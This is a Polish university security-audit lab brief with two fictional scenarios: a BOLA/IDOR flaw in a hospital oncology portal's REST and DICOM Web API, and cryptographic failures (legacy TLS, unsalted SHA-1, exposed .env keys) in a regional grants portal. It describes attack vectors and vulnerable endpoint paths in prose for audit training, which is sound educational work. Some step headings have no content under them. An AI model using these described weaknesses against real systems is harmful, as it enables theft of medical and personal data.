Laboratorium 7

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie zaawansowanego, symulowanego audytu mechanizmów kontroli dostępu i autoryzacji obiektowej (kategoria OWASP Top 10:2021 - A01:2021 Broken Access Control oraz OWASP API Security Top 10 - API1:2023 Broken Object Level Authorization - BOLA) w zintegrowanym środowisku e-zdrowia podmiotu leczniczego o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2. Studenci badają zintegrowany portal pacjenta 'OnkoPortal', połączony ze Szpitalnym Systemem Informacyjnym (HIS), Radiologicznym Systemem Informacyjnym (RIS) oraz chmurowo-lokalnym archiwum obrazów diagnostycznych PACS (Orthanc/dcm4chee), w którym zidentyfikowano podatność masowego pobierania dokumentacji histopatologicznej oraz trójwymiarowych skanów tomografii komputerowej (TK) i rezonansu magnetycznego (MR) poprzez manipulację identyfikatorami w zapytaniach REST API oraz protokołach DICOM Web (WADO-RS). Zadanie wymaga zastosowania kanonicznego modelu 4C (Condition, Criteria, Cause, Consequence), przeprowadzenia analizy ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją podatności CVSS v3.1/v4.0 oraz parametrami ciągłości działania BCM (RTO=15m, RPO=0s, MTPD=1h), skonstruowania Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego reguły autoryzacji opartej na atrybutach (ABAC/PBAC) z wykorzystaniem Open Policy Agent (OPA) oraz przygotowania 1-stronicowego Podsumowania Zarządczego (Executive Summary - "Pitch to Board") dla Dyrekcji Szpitala.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana ochrona danych szczególnej kategorii (art. 9 RODO), tajemnicy lekarskiej, przepisów Ustawy o prawach pacjenta oraz odpowiedzialności karnej z art. 160 i 267 KK.
• W2W3 Rygorystyczna korelacja wymagań Dyrektywy NIS2 (art. 21 - cyberbezpieczeństwo w sektorze zdrowia), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.2, A.8.3, A.8.28), normy ISO 27799 (bezpieczeństwo informacji w zdrowiu), standardu OWASP ASVS v4.0.3 (Poziom L3 - Sekcja V4 Kontrola Dostępu) oraz rozporządzenia MDR (ochrona oprogramowania medycznego SaMD).
• U1 Projekt architektury Zero-Trust dla interfejsów API, wdrożenie dynamicznej autoryzacji kontekstowej ABAC/PBAC z silnikiem OPA oraz polityk PostgreSQL Row-Level Security (RLS).
• U2 Bezbłędna identyfikacja i formalna kwalifikacja uchybień w kanonicznym modelu 4C z precyzyjnym powołaniem artykułów prawa i norm.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów eksfiltracji danych onkologicznych i manipulacji wynikami badań (IR=25, CVSS=9.8, powiązanie z parametrami BCM).
• U4 Opracowanie Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI/KRI, projektu SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Niezależność audytorska, wysoka etyka w kontakcie z dokumentacją onkologiczną, odporność na presję autorytetu medycznego i profesjonalizm prezentacji.
• Powiązanie z wykładem: Wyk1 (Ład zarządczy e-zdrowia), Wyk2 (Zasady audytowania ISO 19011), Wyk3 (Kontrole A.8.2 i A.8.28 ISO 27001), Wyk4 (RODO art. 9 i NIS2), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Analiza ruchu REST API i DICOM Web), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

Wojewódzki Szpital Specjalistyczny i Regionalne Centrum Onkologii w Olsztynie jest podmiotem leczniczym o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2, dysponującym 850 łóżkami, 22 klinikami onkologicznymi, poradniami chemioterapii oraz Zakładem Diagnostyki Obrazowej wykonującym rocznie ponad 90 000 zaawansowanych badań TK, MR, PET-CT i mammografii cyfrowej. Szpital wdrożył zintegrowaną platformę internetową 'OnkoPortal', która umożliwia pacjentom i lekarzom POZ podgląd wyników badań histopatologicznych, pobieranie opisów biopsji oraz bezpośredni streaming trójwymiarowych tomogramów w formacie DICOM za pośrednictwem wbudowanej przeglądarki Web-PACS opartej na silniku Orthanc.

Stan faktyczny w obszarze mechanizmów kontroli dostępu i incydentu bezpieczeństwa:

• Architektura portalu opiera się na rozdzieleniu warstwy frontendowej (Single Page Application w technologii React) oraz warstwy usługowej REST API (kontenery Docker z mikroserwisami Node.js/Fastify) skomunikowanej z klastrem PostgreSQL oraz serwerem Orthanc PACS za pośrednictwem protokołów REST i DICOM Web (WADO-RS: Web Access to DICOM Objects by RESTful Services).
• Użytkownik po poprawnym zalogowaniu przez Węzeł Krajowy (login.gov.pl) otrzymuje w nagłówku HTTP Authorization token JSON Web Token (JWT) podpisany kluczem asymetrycznym RS256 przez szpitalny serwer Keycloak. Jednakże mikroserwis pobierania opisów badań histopatologicznych (`GET /api/v1/patients/{patient_id}/records/{record_id}`) oraz mikroserwis streamingu obrazów DICOM Web (`GET /api/v1/pacs/studies/{study_uid}/series/{series_uid}/instances/{instance_uid}/frames/1`) weryfikują wyłącznie poprawność podpisu kryptograficznego JWT, całkowicie pomijając walidację, czy zalogowany pacjent posiada prawo dostępu do zasobu wskazanego w ścieżce żądania (brak autoryzacji obiektowej BOLA/IDOR).
• W mikroserwisie raportów identyfikator `record_id` jest jawną liczbą sekwencyjną BIGINT (np. `489210`). Zmiana wartości w żądaniu HTTP na kolejną liczbę skutkuje natychmiastowym zwróceniem pełnego dokumentu histopatologicznego innego pacjenta (kod HTTP 200 OK zamiast 403 Forbidden), zawierającego numer PESEL, adres zamieszkania, histopatologiczny stopień złośliwości guza, stadium kliniczne TNM, rokowanie oraz dane lekarza patomorfologa.
• Z kolei w mikroserwisie DICOM Web parametr `study_uid` generowany jest w formacie zgodnym ze standardem medycznym DICOM zawierającym identyfikator OID producenta tomografu oraz znacznik czasu. Analiza wykazała, że odpytanie endpointu wyszukiwania serii badań (`GET /api/v1/pacs/studies?PatientBirthDate=...`) bez jakiejkolwiek autoryzacji zwraca listę identyfikatorów badań wszystkich pacjentów.
• Na poziomie bramy API Gateway (Kong Enterprise) wyłączono wtyczki Rate Limiting w celu "zapewnienia płynności streamingu tomogramów dla lekarzy na dyżurach domowych". Brak jest również zapory sieciowej WAF dedykowanej dla inspekcji zapytań API.
• W nocy z niedzieli na poniedziałek system SIEM odnotował nietypowy transfer wychodzący o wolumenie 180 GB z adresu IP węzła komercyjnej sieci VPN. Zautomatyzowany skrypt intruza, inkrementując parametr `record_id` z prędkością 120 zapytań na sekundę, pobrał 45 000 pełnych raportów histopatologicznych oraz 12 000 serii obrazów tomograficznych pacjentów onkologicznych z ostatnich 3 lat. Zdarzenie zostało zignorowane przez dyżurnego administratora jako "nocna replikacja archiwum". Sprawa wyszła na jaw dopiero, gdy intruz przesłał próbkę danych 50 znanych osób publicznych do Marszałka Województwa, żądając 2 mln PLN w zamian za nieujawnienie bazy w sieci Darknet.

Dyrektor Szpitala, stając w obliczu kontroli UODO, paraliżu reputacyjnego, zawiadomienia ABW/CSIRT NASK oraz sankcji finansowych mogących doprowadzić do likwidacji placówki, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Reprezentant CISO): Odpowiada za ład zarządczy (Web Governance), analizę zgodności z Dyrektywą NIS2 i art. 9 RODO, relacje z Dyrekcją i CSIRT NASK, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

  Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa API i Chmury): Dekonstruuje żądania REST API i DICOM Web WADO-RS, bada nagłówki JWT, analizuje luki BOLA/IDOR w kodzie Node.js, brak Rate Limitingu w Kong Gateway, projektuje architekturę ABAC/PBAC z Open Policy Agent, PostgreSQL Row-Level Security oraz bezpieczne mapowanie identyfikatorów na kryptograficzne UUID v4.

  Student C (Governance, Risk & Compliance Auditor): Przeprowadza dekompozycję uchybienia w kanonicznym modelu 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=15m, RPO=0s, MTPD=1h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP z przypisaniem ról RACI i metryk KPI/KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Autoryzacji Kontekstowej i Ochrony Danych Medycznych w Interfejsach API REST i Protokołach DICOM Web Wojewódzkiego Szpitala Specjalistycznego w Olsztynie" z numerowanymi artykułami:

  • § 1 Zakres i cel standardu (ochrona danych onkologicznych w interfejsach cyfrowych).
  • § 2 Obowiązkowy model kontroli dostępu ABAC (wymóg decyzyjny silnika OPA dla każdego endpointu).
  • § 3 Zasady generowania i maskowania identyfikatorów zasobów (bezwzględny zakaz sekwencyjnych liczb całkowitych, obowiązek stosowania UUID v4).
  • § 4 Zabezpieczenia na poziomie bazy danych (obowiązek stosowania Row-Level Security w relacyjnych bazach danych).
  • § 5 Polityka ochrony przed zautomatyzowanym odpytywaniem (reguły Rate Limiting na API Gateway i WAF).
  • § 6 Sankcje dyscyplinarne i cywilne za naruszenie standardu przy odbiorach oprogramowania.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Dyrekcji Szpitala: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=5), ekspozycja na sankcje UODO i NIS2 (do 30 mln EUR łącznie), budżet Planu CAP (380 000 PLN) oraz stopę zwrotu z inwestycji (ROSI: ochrona kontraktu NFZ o wartości 120 mln PLN i wyeliminowanie ryzyka pozwów cywilnych na kwotę 15 mln PLN).

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Dyrekcji (3 min): Przedstawienie skali incydentu BOLA/IDOR, ekspozycji finansowej (kary UODO/NIS2) oraz bilansu ryzyk przed i po wdrożeniu Planu CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna podatności REST API i DICOM Web (4 min): Prezentacja podatnych żądań HTTP, analiza braku autoryzacji kontekstowej w tokenach JWT, brak Rate Limitingu, demonstracja wektora ataku i zrzutów ruchu WADO-RS (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, analizy 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z NIS2, art. 9 RODO i OWASP ASVS v4.0.3 L3 oraz wyliczenie redukcji ryzyka z IR=25 do RR=5 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie działań w horyzoncie 0-7, 30 i 90 dni, wskaźników KPI/KRI oraz reguł OPA i PostgreSQL Row-Level Security (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania prowadzącego i obrona realności inżynieryjnej proponowanych rozwiązań (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Bilans ryzyk (4 wektory skwantyfikowane w matrycy 5x5 przed i po CAP).
• Analiza ekspozycji prawnej i finansowej (UODO, NIS2, Kodeks Cywilny, utrata kontraktu NFZ).
• Kosztorys Planu CAP (380 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na zaawansowane pytania problemowe i opis sytuacji kryzysowej:

• W jaki sposób zaimplementować architekturę kontroli dostępu opartej na atrybutach (Attribute-Based Access Control - ABAC) z wykorzystaniem Open Policy Agent (OPA) w środowisku mikrousługowym REST/DICOM, aby całkowicie wyeliminować podatność BOLA/IDOR?
• Czym różni się uwierzytelnienie za pomocą tokenu JWT od autoryzacji dostępu do konkretnego zasobu i dlaczego sam fakt posiadania ważnego podpisu kryptograficznego JWT RS256 nie świadczy o prawie dostępu do danego rekordu medycznego?
• Jakie techniczne środki bezpieczeństwa na poziomie bazy danych (PostgreSQL Row-Level Security, odseparowane schematy, dynamiczne role połączeniowe) stanowią ostateczną linię obrony w przypadku kompromitacji warstwy aplikacyjnej?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C (Condition, Criteria, Cause [5 Why], Consequence).

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, parametry RTO/RPO/MTPD, CVSS v3.1 Base Score 9.8).

E. Trójfazowy Plan Działań Korygujących (CAP) (tabela z podziałem na Fazę 1 [0-7 dni], Fazę 2 [30 dni], Fazę 3 [90 dni], macierz RACI, metryki KPI i KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Bezpieczeństwa Aplikacji Web (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Trade-offs: narzut wydajnościowy ewaluacji polityk OPA i RLS vs gwarancja nienaruszalności danych pacjentów).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A01:2021 Broken Access Control.
• OWASP Foundation: "API Security Top 10:2023", Kategoria API1:2023 Broken Object Level Authorization (BOLA).
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V4 Access Control Verification Requirements (Poziom L3).
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21 (Zarządzanie ryzykiem cyberbezpieczeństwa).
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 9 (Przetwarzanie szczególnych kategorii danych), art. 32 (Bezpieczeństwo przetwarzania), art. 33 (Zgłaszanie naruszeń organowi nadzorczemu), art. 83 (Ogólne warunki nakładania administracyjnych kar pieniężnych).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.2 (Prawa dostępu uprzywilejowanego), A.8.3 (Ograniczenie dostępu do informacji), A.8.28 (Bezpieczne kodowanie).
• Norma PN-EN ISO 27799:2016: Informatyka medyczna - Zarządzanie bezpieczeństwem informacji w dziedzinie zdrowia przy użyciu ISO/IEC 27002.
• Ustawa z dnia 6 listopada 2008 r. o prawach pacjenta i Rzeczniku Praw Pacjenta (Dz.U. z 2022 r. poz. 1876 z późn. zm.).
• Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 160 (Narażenie na niebezpieczeństwo utraty życia lub ciężkiego uszczerbku na zdrowiu), art. 267 (Bezprawne uzyskanie informacji).

• U2 Bezbłędna dekompozycja uchybień autoryzacyjnych w modelu 4C i przeprowadzenie analizy 5 Why w infrastrukturze e-zdrowia.
• U1 Projekt architektury Zero-Trust dla interfejsów API z silnikiem OPA, regułami ABAC oraz PostgreSQL Row-Level Security.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego Executive Summary ("Pitch to Board").
• W1W2W3 Wyczerpująca znajomość zbieżności NIS2, RODO art. 9, normy ISO 27001, ISO 27799 i standardu OWASP ASVS v4.0.3 L3.
• K1K2K3 Obiektywizm, niezależność audytorska, wysoka kultura inżynierska i bezkompromisowa ochrona tajemnicy medycznej.

Podczas wystąpienia przed komisją zaprezentujcie diagram sekwencji żądania HTTP przed audytem (błędna weryfikacja JWT) oraz po wdrożeniu Planu CAP z uwzględnieniem odpytania silnika Open Policy Agent i filtru Row-Level Security w PostgreSQL. Skupcie się na wykazaniu, że koszt wdrożenia kontroli (380 tys. PLN) jest znikomy w porównaniu z ryzykiem utraty kontraktu NFZ na 120 mln PLN i sankcji UODO.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wyczerpującego audytu bezpieczeństwa kryptograficznego (kategoria OWASP Top 10:2021 - A02:2021 Cryptographic Failures) w systemie e-administracji publicznej 'e-Dotacje Podkarpacie' służącym do naboru, oceny oraz rozliczania projektów współfinansowanych ze środków funduszy unijnych (EFRR, EFS+) o wartości ponad 2 mld PLN. Studenci badają kompleksową infrastrukturę serwerową serwisu WWW NGINX, klastra bazodanowego Oracle Database 19c oraz podsystemu wymiany danych z Krajową Administracją Skarbową (KAS). Audyt ujawnia kumulację krytycznych uchybień kryptograficznych: obsługę wycofanych protokołów TLS 1.0 i 1.1 z podatnymi szyframi blokowymi CBC (podatności na ataki BEAST i Lucky13), brak nagłówka HSTS Preload dopuszczający ataki SSL Stripping, przechowywanie haseł 25 000 wnioskodawców za pomocą pojedynczej funkcji skrótu SHA-1 bez soli, brak szyfrowania danych wrażliwych w spoczynku (brak Transparent Data Encryption - TDE na wolumenach NAS) oraz obecność jawnopłytowych kluczy prywatnych TLS i kluczy API w plikach konfiguracyjnych `.env` o uprawnieniach odczytu dla wszystkich użytkowników lokalnych. Zadanie wymaga przeprowadzenia dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 powiązanej z metrykami CVSS v3.1 (9.1 Critical) i wskaźnikami BCM (RTO=30m, RPO=0s, MTPD=2h), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI/KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy kryptograficzne, zarządzanie kluczami w modułach HSM oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Marszałka Województwa.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość wymogów ochrony informacji niejawnych, tajemnicy przedsiębiorstwa beneficjentów (w tym firm zbrojeniowych i lotniczych Doliny Lotniczej), dyscypliny finansów publicznych oraz wytycznych Europejskiego Urzędu ds. Przeciwdziałania Oszustwom (OLAF).
• W2W3 Rygorystyczna korelacja wymagań § 20 Rozporządzenia ws. Krajowych Ram Interoperacyjności (KRI), art. 32 ust. 1 lit. a RODO, normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.20 Bezpieczeństwo sieci, A.8.24 Krypto-zabezpieczenia, A.5.15 Kontrola dostępu), wytycznych NIST SP 800-52 Rev. 2, NIST SP 800-132 oraz standardu FIPS 140-3.
• U1 Opracowanie zaleceń inżynierskich twardej rekonfiguracji TLS 1.3 z kryptografią krzywych eliptycznych ECDHE, migracji bazy haseł na algorytm Argon2id, wdrożenia Oracle TDE z integracją ze sprzętowym modułem HSM (Hardware Security Module) i zautomatyzowanego skarbca sekretów HashiCorp Vault.
• U2 Bezbłędna kwalifikacja uchybień w kanonicznym modelu 4C z precyzyjnym wskazaniem kryteriów KRI, RODO i norm ISO.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów podsłuchu transmisji, kradzieży patentów i kompromitacji tożsamości beneficjentów (IR=25, CVSS=9.1, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, niezależność w ocenie instytucji publicznej, dbałość o interes Skarbu Państwa i nienaruszalność funduszy europejskich.
• Powiązanie z wykładem: Wyk1 (Audyt w administracji rządowej i samorządowej), Wyk3 (Kontrole A.8.20 i A.8.24 ISO 27001), Wyk4 (Wymogi KRI i RODO art. 32), Wyk5 (Matryca ryzyka 5x5), Wyk6 (Kryptoanaliza ruchu sieciowego i skrótów), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

Urząd Marszałkowski Województwa Podkarpackiego w Rzeszowie eksploatuje zintegrowany system teleinformatyczny 'e-Dotacje Podkarpacie'. Portal stanowi jedyny oficjalny kanał aplikowania o dotacje ze środków Unii Europejskiej w ramach programu regionalnego 'Fundusze Europejskie dla Podkarpacia 2021-2027'. W systemie zarejestrowanych jest ponad 25 000 beneficjentów, w tym kluczowe instytuty naukowe, szpitale wojewódzkie, klastry technologiczne oraz przedsiębiorstwa sektora lotniczego z Doliny Lotniczej. Wnioski o dofinansowanie zawierają zastrzeżone projekty innowacji technologicznych, szczegółowe kalkulacje kosztorysowe, patenty przedrejestracyjne, bilanse spółek oraz dane osobowe kadry zarządczej i ekspertów oceniających.

Stan faktyczny w obszarze kryptografii i bezpieczeństwa teleinformatycznego:

• Serwis webowy jest publicznie dostępny pod domeną `https://edotacje.podkarpackie.pl`. Badanie konfiguracji serwerów brzegowych NGINX przy użyciu dedykowanych skanerów SSL ujawniło najniższą ocenę bezpieczeństwa 'F'. Serwer nadal akceptuje połączenia w wycofanych standardach TLS 1.0 oraz TLS 1.1 z zestawami szyfrów bazującymi na CBC (np. `TLS_RSA_WITH_AES_128_CBC_SHA`), które są podatne na ataki kryptoanalityczne (dowiedzione ataki Lucky13 i POODLE).
• Brak jest implementacji nagłówka HTTP Strict Transport Security (HSTS) z dyrektywami `includeSubDomains` i `preload`. Formularz logowania na porcie 80 HTTP wykonuje jedynie miękkie przekierowanie 302, co pozwala na przeprowadzenie ataku SSL Stripping w otwartych sieciach Wi-Fi (np. w centrach konferencyjnych podczas naborów projektów).
• Weryfikacja bazy danych Oracle Database 19c wykazała, że hasła 25 000 wnioskodawców oraz 350 urzędników składowane są w tabeli `konta_uzytkownicy` jako surowe, niesolone skróty `SHA1(haslo)`. Zespół audytorski, wykorzystując powszechne tęczowe tablice (Rainbow Tables) oraz stację roboczą z dwoma układami GPU RTX 4090, w ciągu zaledwie 35 minut odtworzył w postaci jawnej hasła dla 84% próby losowej 500 kont użytkowników, w tym 12 ekspertów oceniających wnioski.
• Dokumentacja projektowa, pliki PDF z opisami patentów oraz skany sprawozdań finansowych składowane są na zasobach dyskowych macierzy NAS w czystym tekście, bez żadnego szyfrowania w spoczynku (brak Transparent Data Encryption - TDE oraz brak szyfrowania blokowego wolumenów LUKS).
• W toku inspekcji systemu operacyjnego serwera aplikacyjnego stwierdzono, że klucze prywatne certyfikatów SSL/TLS wildcard (`*.podkarpackie.pl`) oraz klucze API do integracji z Krajową Administracją Skarbową (KAS) i Węzłem Krajowym znajdują się w jawnym pliku `.env` w katalogu `/var/www/edotacje/config/` z uprawnieniami systemowymi `chmod 644` (odczyt dla wszystkich użytkowników lokalnych).

Marszałek Województwa, powiadomiony o możliwości unieważnienia certyfikacji naborów przez Komisję Europejską, kontroli OLAF, kar finansowych UODO oraz pozwów ze strony konsorcjów lotniczych o odszkodowania za kradzież tajemnic przedsiębiorstwa, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z KRI i Dyrektywami UE): Odpowiada za ład prawno-regulacyjny, analizę zgodności z § 20 Rozporządzenia ws. KRI, art. 32 RODO, przepisami Ustawy o finansach publicznych, wytycznymi OLAF, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

  Student B (Technical SecOps Auditor / Architekt Kryptografii i Serwerów): Analizuje pakiety protokołów TLS, zestawy Cipher Suites, podatności CBC, kryptoanalizę skrótów SHA-1, brak HSTS, projektuje twardą konfigurację TLS 1.3 z ECDHE, migrację haseł na Argon2id oraz architekturę integracji Oracle TDE ze sprzętowym modułem HSM i HashiCorp Vault.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.1 Critical) i BCM (RTO=30m, RPO=0s, MTPD=2h), prowadzi dochodzenie 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Stosowania Kryptografii, Zarządzania Kluczami i Bezpieczeństwa Warstwy Transportowej w Samorządowych Usługach Elektronicznych Urzędu Marszałkowskiego Województwa Podkarpackiego" z numerowanymi artykułami:

  • § 1 Cel i zakres stosowania (zapewnienie zgodności z KRI i ochrona środków unijnych).
  • § 2 Dopuszczalne protokoły transmisji i mechanizmy nagłówkowe (obligatoryjny TLS 1.3 i HSTS Preload).
  • § 3 Standardy haszowania poświadczeń tożsamości (bezwzględny wymóg algorytmu Argon2id lub PBKDF2 z min. 600 000 iteracji).
  • § 4 Szyfrowanie danych w spoczynku i zarządzanie kluczami (wymóg TDE AES-256 oraz modułów HSM FIPS 140-3).
  • § 5 Procedura opiniowania projektów teleinformatycznych i sankcje dyscyplinarne za naruszenie standardu.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Marszałka Województwa: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), ochrona naborów unijnych o wartości 2 mld PLN, wyeliminowanie ryzyka kar UODO (do 20 mln EUR) i OLAF, kosztorys CAP (290 000 PLN na HSM i audyt) oraz wskaźnik zwrotu z inwestycji.

Plan wystąpienia przed komisją laboratoryjną (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Marszałka (3 min): Przedstawienie skali zagrożenia funduszy unijnych, ekspozycji na kary OLAF/UODO oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna podatności kryptograficznych (4 min): Prezentacja konfiguracji SSL/TLS serwera NGINX, kryptoanaliza skrótów SHA-1, demonstracja szybkości łamania haseł na GPU, brak nagłówka HSTS oraz luka w uprawnieniach pliku `.env` (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z § 20 KRI, art. 32 RODO i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie migracji na TLS 1.3, wdrożenia Argon2id, modułu HSM i Oracle TDE oraz procedury opiniowania SWZ (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Uzasadnienie konieczności zakupu sprzętowego modułu HSM w relacji do wartości chronionych projektów patentowych (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Syntetyczny bilans ryzyk kryptograficznych (IR vs RR).
• Analiza ekspozycji finansowej (zagrożenie wstrzymania dotacji 2 mld PLN, kary UODO i OLAF).
• Budżet Planu CAP (290 000 PLN) vs ROSI.

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

• Dlaczego pojedyncza funkcja skrótu SHA-1 (nawet z solą) jest współcześnie uznawana za całkowicie nieadekwatną do ochrony poświadczeń tożsamości i jakie mechanizmy pamięciożerne (Argon2id, scrypt) uniemożliwiają skuteczne ataki brute-force na procesorach graficznych (GPU/ASIC)?
• Czym charakteryzuje się mechanizm Forward Secrecy (FS) w protokołach TLS 1.3 i w jaki sposób chroni on zarejestrowany wcześniej ruch sieciowy przed odszyfrowaniem w przypadku późniejszej kradzieży klucza prywatnego serwera?
• W jaki sposób zintegrować technologię Transparent Data Encryption (TDE) z zewnętrznym, sprzętowym modułem bezpieczeństwa HSM zgodnie z wymogami standardu FIPS 140-3 Level 3 w strukturze administracji publicznej?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.1).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Stosowania Kryptografii (§ 1 do § 5).

G. Analiza kompromisów inżynierskich (narzut obliczeniowy algorytmu Argon2id na serwery uwierzytelniania vs odporność na łamanie poświadczeń).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A02:2021 Cryptographic Failures.
